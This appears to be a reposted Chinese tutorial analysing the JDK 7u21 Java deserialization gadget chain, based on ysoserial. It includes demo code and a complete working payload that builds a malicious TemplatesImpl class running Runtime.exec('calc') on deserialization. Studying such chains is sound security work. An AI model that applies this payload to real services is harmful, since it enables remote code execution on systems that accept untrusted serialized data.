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Java7u21链原理是什么

这篇文章主要介绍“Java 7u21链原理是什么”,在日常操作中,相信很多人在Java 7u21链原理是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Java 7u21链原理是什么”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

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简介

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jdk7u21 链,是一个不需要借助第三方库就能实现的链。影响版本<=7u21

分析from ysonerial

我们先来看看ysonerial里的payload是怎么写的,然后沿着其思路进行分析

public Object getObject(String command) throws Exception {Object templates = Gadgets.createTemplatesImpl(command);String zeroHashCodeStr = "f5a5a608";HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");InvocationHandler tempHandler = (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);Reflections.setFieldValue(tempHandler, "type", Templates.class);Templates proxy = (Templates)Gadgets.createProxy(tempHandler, Templates.class, new Class[0]);LinkedHashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);Reflections.setFieldValue(templates, "_auxClasses", (Object)null);Reflections.setFieldValue(templates, "_class", (Object)null);map.put(zeroHashCodeStr, templates);return set;}TemplatesImpl

我们看到,ysonerial的payload上来就通过Gadgets.createTemplatesImpl(command) 试图创建一个TemplatesImpl类。 createTemplatesImpl源码如下,我们发现创建TemplatesImpl类后又通过反射和javassist做了许多操作。

public static  T createTemplatesImpl(String command, Class tplClass, Class abstTranslet, Class transFactory) throws Exception {T templates = tplClass.newInstance();ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));pool.insertClassPath(new ClassClassPath(abstTranslet));CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";clazz.makeClassInitializer().insertAfter(cmd);clazz.setName("ysoserial.Pwner" + System.nanoTime());CtClass superC = pool.get(abstTranslet.getName());clazz.setSuperclass(superC);byte[] classBytes = clazz.toBytecode();Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)});Reflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}

那么为什么要创建这个类并且调用反射和javassist机制呢?先不急,我们看一下TemplatesImpl源码。

首先TemplatesImpl类中有个方法defineTransletClasses,它的主要代码如下

private byte[][] _bytecodes = (byte[][])null;private void defineTransletClasses() throws TransformerConfigurationException {if (this._bytecodes == null) {.....} else {TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());}});try {int classCount = this._bytecodes.length;this._class = new Class[classCount];for(int i = 0; i < classCount; ++i) {this._class[i] = loader.defineClass(this._bytecodes[i]);  \\将_bytecodes中的所有字节通过defineClass转化为一个类Class superClass = this._class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) {this._transletIndex = i;} else {this._auxClasses.put(this._class[i].getName(), this._class[i]);}}}

也就是说通过这个方法可以将_bytecodes数组中的字节还原成一个类,存储到_class变量中。接下来如果我们能找到调用defineTransletClasses方法并执行了_class[].newinstance() 这样的的代码的方法,就能实例化从字节得到的类了,从而就能执行类中的静态代码块和构造函数了! 所以接下来我们需要去寻找这种方法。 通过搜索defineTransletClasses,我们找到了有如下三个方法调用了defineTransletClasses方法:

getTransletInstancegetTransletIndexgetTransletClasses

其中,getTransletInstance方法是唯一符合“调用了defineTransletClasses且有_class[].newinstance()”的方法,其代码如下

private Translet getTransletInstance() throws TransformerConfigurationException {ErrorMsg err;try {if (this._name == null) {return null;} else {if (this._class == null) {this.defineTransletClasses();}AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\heretranslet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(this._useServicesMechanism);if (this._auxClasses != null) {translet.setAuxiliaryClasses(this._auxClasses);}return translet;}

那么,getTransletInstance是一个private方法,我们不能直接调用它,在那里能去调用它呢?答案是newTransformer方法

public synchronized Transformer newTransformer() throws TransformerConfigurationException {TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);  \\here········}

OK.我们找到了触发7u21链的一个核心点了。我们写个小demo来通过TemplatesImpl实现代码执行 小demo的实现思路为:通过javassist动态生成一个恶意类(构造方法或者静态代码块有恶意代码),然后通过反射生成一个TemplatesImpl对象并设置各个变量的值,然后调用一下TemplatesImpl对象的newTransformer方法即可造成代码执行,代码如下

public class test{public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("evilclass");String cmd = "Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd); \\向静态代码块插入恶意代码,插入到构造函数也可以cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  \\需设置此项才能实现newinstance,具体原因请看defineTransletClasses和getTransletInstance源码cc.setName("evilClass");byte[] evilbytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{evilbytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = TemplatesImpl.class.newInstance().getClass();Field[] Fields = clazz.getDeclaredFields();for (Field Field : Fields) { //遍历Fields数组try { Field.setAccessible(true);  //对数组中的每一项实现私有访问if(Field.getName()=="_bytecodes"){Field.set(templates,targetByteCodes);}if(Field.getName()=="_class"){Field.set(templates,null);}if(Field.getName()=="_name"){Field.set(templates,"abc");}if(Field.getName()=="_tfactory"){Field.set(templates,new TemplatesImpl());}} catch (Exception e) {}}templates.newTransformer();}}

但仅仅是这样,肯定是不够的。

AnnotationInvocationHandler

我们继续看ysoserial源码可以看到动用了AnnotationInvocationHandler这个东西.这个类原本的作用是作为Annotation 类的动态代理

我们把目光聚焦于invoke方法——动态代理的核心

public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} ..........}

它会检测传入的方法中是否有符合 名为equals,只有一个Object类型参数。若是,则调用equalsImpl方法并传入方法中的参数。 跟进equalsimpl方法

private Boolean equalsImpl(Object var1) {if (var1 == this) {return true;} else if (!this.type.isInstance(var1)) {return false;} else {Method[] var2 = this.getMemberMethods();int var3 = var2.length;for(int var4 = 0; var4 < var3; ++var4) {Method var5 = var2[var4];String var6 = var5.getName();Object var7 = this.memberValues.get(var6);Object var8 = null;AnnotationInvocationHandler var9 = this.asOneOfUs(var1);if (var9 != null) {var8 = var9.memberValues.get(var6);} else {try {var8 = var5.invoke(var1);   \\here} catch (InvocationTargetException var11) {return false;} catch (IllegalAccessException var12) {throw new AssertionError(var12);}}if (!memberValueEquals(var7, var8)) {return false;}}return true;}}

发现会invoke 传入参数中的所有方法。 那么接下来我们就可以按照下面的思路写一个命令执行小demo:

创建一个包含恶意代码的TemplatesImpl实例,通过AnnotationInvocationHandler创建任意一个代理对象,然后代理对象调用equals方法传入参数为恶意TemplatesImpl对象,即可造成恶意代码执行 看到这里一定一头雾水,看看demo也许会好一点

public class test{public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("evilclass");String cmd = "Runtime.getRuntime().exec(\"calc\");";CtConstructor cons = new CtConstructor(new CtClass[]{},cc);cons.setBody("Runtime.getRuntime().exec(\"calc\");");cc.addConstructor(cons);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.setName("evilClass");byte[] evilbytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{evilbytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = TemplatesImpl.class.newInstance().getClass();Field[] Fields = clazz.getDeclaredFields();for (Field Field : Fields) { //遍历Fields数组try { //执行get()方法时需抛出IllegalAccessException错误Field.setAccessible(true);  //对数组中的每一项实现私有访问if(Field.getName()=="_bytecodes"){Field.set(templates,targetByteCodes);}if(Field.getName()=="_class"){Field.set(templates,null);}if(Field.getName()=="_name"){Field.set(templates,"abc");}if(Field.getName()=="_tfactory"){Field.set(templates,new TemplatesImpl());}} catch (Exception e) {}}//以上代码生成了恶意TemplatesImpl对象templatesMap map = new HashMap();final Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];  //获得AnnotationInvocationHandler构造方法,方便获得它一个实例ctor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);  //这里有个问题,为什么要传入Templates类对象而不是TemplatesImplObject proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);  \\反正创建一个AnnotationInvocationHandler的代理对象就行了,前两个参数都不用怎么管proxy.equals(templates); //恶意代码执行}}

我们慢慢看看逻辑,在proxy.equals处下断点,调试 毫无疑问会进入到此处:AnnotationInvocationHandler的invoke方法。

然后参数符合if判断,调用equalsImpl方法,并传入参数为恶意TemplatesImpl对象,接下来就是进入反射调用处

遍历var2变量中的方法,并由我们的恶意对象来执行。

————此处插一下var2变量的来历

注意此处的getMemberMethods方法,它实质上是通过反射获得this.type中的所有方法。而this.type是在该对象构造方法中传入的第一个参数。

getMemberMethods:

构造方法:

————回到正题

由于我们通过反射传入构造方法的第一个参数是Templates.class,所以它会遍历Templates类中的所有方法。这个类其实是TemplatesImpl的接口类,它的代码如下

所以var2中存储的方法只有两个,newTransformer和getOutputProperties。 然后当遍历到newTransformer方法时,就会通过反射调用达到 eviltemplatesImpl.newTransformer() 的效果,从而导致恶意TemplatesImpl对象中的恶意代码被执行。

这里承接上面说的,为什么初始化AnnotationInvocationHandler对象时传入的第一个参数(即this.type)是Templates.class,而不是TemplatesImpl.class 诚然,这两个类对象都有方法newTransformer。但是如果传入TemplatesImpl.class,在遍历其中方法并通过反射执行时会出现错误:equalsImpl中的反射调用是不传入参数的

而TemplatesImpl中有许多需要传入参数才能被正常使用的方法,如果不传入参数就反射调用就会抛出异常,以至于在遍历到newTransformer方法前就会抛出异常,从而导致代码执行不被实现。

仅仅是这样,也还是不够的,我们还是得手动调用equals才能导致代码执行,反序列化点在哪里?

LinkedHashSet

ysoserial的payload中出现了此类。

LinkedHashSet继承自HashSet类,它的readObject方法也是从HashSet继承而来的。我们看看readObject方法的构造

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();int var2 = var1.readInt();float var3 = var1.readFloat();this.map = (HashMap)(this instanceof LinkedHashSet ? new LinkedHashMap(var2, var3) : new HashMap(var2, var3));int var4 = var1.readInt();for(int var5 = 0; var5 < var4; ++var5) {Object var6 = var1.readObject();this.map.put(var6, PRESENT);}}}

它的主要亮点在for循环里面:遍历传入的序列化对象,将其反序列化后,再传入put方法

所以我们再来跟进一下map.put方法

public V put(K var1, V var2) {if (var1 == null) {return this.putForNullKey(var2);} else {int var3 = this.hash(var1);int var4 = indexFor(var3, this.table.length);for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {Object var6;if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1.equals(var6))) {  //hereObject var7 = var5.value;var5.value = var2;var5.recordAccess(this);return var7;}}++this.modCount;this.addEntry(var3, var1, var2, var4);return null;}}

注意我们添加注释那一行,有一个var1.equals(var6))) 其中var1和var6我们都是可以控制的:var1即传入的反序列化对象(恶意TemplatesImpl),var6实际上也是我们传入的反序列化对象(恶意AnnotationInvocationHandler代理对象)。

但是想要执行var1.equals(var6))) 则必须要让 var5.hash == var3 为true 且 (var6 = var5.key) == var1为false. 怎么做到呢?

注意put方法的第5行,对传入的反序列化对象调用了hash方法。我们跟进hash方法

final int hash(Object var1) {int var2 = 0;if (this.useAltHashing) {if (var1 instanceof String) {return Hashing.stringHash42((String)var1);}var2 = this.hashSeed;}var2 ^= var1.hashCode();  //herevar2 ^= var2 >>> 20 ^ var2 >>> 12;return var2 ^ var2 >>> 7 ^ var2 >>> 4;}

发现会执行传入的参数对象的hashCode()方法 当我们传入的参数为恶意AnnotationInvocationHandler代理对象时,会调用代理对象中的invoke方法。对于AnnotationInvocationHandler而言当判断到执行hashCode方法时,实质上会执行AnnotationInvocationHandler中的hashCodeImpl方法

我们跟进hashCodeImpl

private int hashCodeImpl() {int var1 = 0;Entry var3;for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {var3 = (Entry)var2.next();}return var1;}上面是真实代码,比较难看,所以借鉴了一下别人对其进行修改后的代码,方便我们进行分析private int hashCodeImpl() {int result = 0;// 遍历 memberValuesIterator itr = this.memberValues.entrySet().iterator();for( ;itr.hasNext(); ) {Entry entry = (Entry)itr.next();String key = ((String)entry.getKey());Object value = entry.getValue();// 127 * key 的 hashCode,再和 memberValueHashCode(value) 进行异或result += 127 * key.hashCode() ^ memberValueHashCode(value);}return result;}

这个方法会遍历this.memberValues属性(这个属性实质上就是HashMap内添加的属性),然后对其中每一项键值属性进行进行位运算并累加

其中memberValueHashCode函数我们也可以跟进一下

发现只要传入参数不为数组,就调用它的hashCode函数并返回。

我们来梳理一下,怎么才能调用到put方法里的equals触发代码执行: payload阶段:

建立一个map变量,其key为特殊的一个值:f5a5a608,这个值的hashCode是0,然后值为恶意templatesImpl类,然后以这个map变量为参数建立AnnotationInvocationHandler代理对象。

再向HashMap里放入一个值,键为恶意TemplatesImpl对象, 再放入一个值,键为恶意AnnotationInvocationHandler对象。 (LinkedHashSet会让HashMap有序,从而在反序列化的时候能按顺序依次从HashMap读取对象。如果用HashSet,则会在反序列化时报错)

反序列化阶段:

随后在readObject时,TemplatesImpl先被put方法调用。

然后在put方法里通过hash()方法获得其hash,并将其录入到它的hash属性里,然后写入到HashMap的存储队列里。

然后AnnotationInvocationHandler再被put方法调用

在对其使用hash方法获得hash时,会因其是一个代理类的缘故在hash函数内部调用hashCode()方法时会调用其代理方法hashCodeImpl。

随后在hashCodeImpl内部遍历this.memberValues变量(也就是之前初始化时放入的map变量)

将每一项的key值的hashCode与传入map vaule值作为参数的memberValueHashCode方法进行异或。 这个memberValueHashCode方法会判断传入的值是否为数组,若不是数组则直接返回参数的hashCode()。

因为我们之前初始化代理对象时传入的是一个键为f5a5a608,值为eviltemplates的map,所以以上hash计算最终得到的结果,便是0^(templatesImpl.hashCode()). 也就是templatesImpl.hashCode()。所以也就是说AnnotationInvocationHandler对象作为参数传入被hash方法执行后的结果,就相当于是hash(eviltemplates)

随后这个值来到if判断逻辑,它遍历之前的值,并将遍历得到的值赋给var5

上一个值的hash(也就是eviltemplates的hash)与AnnotationInvocationHandler对象的hash(也还是eviltemplates的hash)相同,但是AnnotationInvocationHandler对象与eviltemplates对象并不相同,所以便触动了equals,代码执行成功。

完整payload

纵观以上三个类,我们可以写出payload

public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("evilclass");String cmd = "Runtime.getRuntime().exec(\"calc\");";CtConstructor cons = new CtConstructor(new CtClass[]{},cc);cons.setBody("Runtime.getRuntime().exec(\"calc\");");cc.addConstructor(cons);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.setName("evilClass");byte[] evilbytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{evilbytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = TemplatesImpl.class.newInstance().getClass();Field[] Fields = clazz.getDeclaredFields();for (Field Field : Fields) { //遍历Fields数组try { //执行get()方法时需抛出IllegalAccessException错误Field.setAccessible(true);  //对数组中的每一项实现私有访问if(Field.getName()=="_bytecodes"){Field.set(templates,targetByteCodes);}if(Field.getName()=="_class"){Field.set(templates,null);}if(Field.getName()=="_name"){Field.set(templates,"abc");}if(Field.getName()=="_tfactory"){Field.set(templates,new TemplatesImpl());}} catch (Exception e) {}}Map map = new HashMap();String magicStr = "f5a5a608";final Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];ctor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);Object proxy =  Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);HashSet target = new LinkedHashSet();target.add(templates);target.add(proxy);//这个map需要在Hashmap put了proxy后再赋值,不然会报错(我也不知道为什么map.put(magicStr, templates);// 序列化ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));oos.writeObject(target);// 反序列化ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));ois.readObject();

看一下调用栈

更直观的调用链

LinkedHashSet.readObject()LinkedHashSet.add()...TemplatesImpl.hashCode() (X)LinkedHashSet.add()...Proxy(Templates).hashCode() (X)AnnotationInvocationHandler.invoke() (X)AnnotationInvocationHandler.hashCodeImpl() (X)String.hashCode() (0)AnnotationInvocationHandler.memberValueHashCode() (X)TemplatesImpl.hashCode() (X)Proxy(Templates).equals()AnnotationInvocationHandler.invoke()AnnotationInvocationHandler.equalsImpl()Method.invoke()...// TemplatesImpl.getOutputProperties(),实际测试时会直接调用 newTransformer()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()ClassLoader.defineClass()Class.newInstance()...MaliciousClass.()...Runtime.exec()


名称栏目:Java7u21链原理是什么
文章出自:http://cdxtjz.cn/article/dhhggp.html

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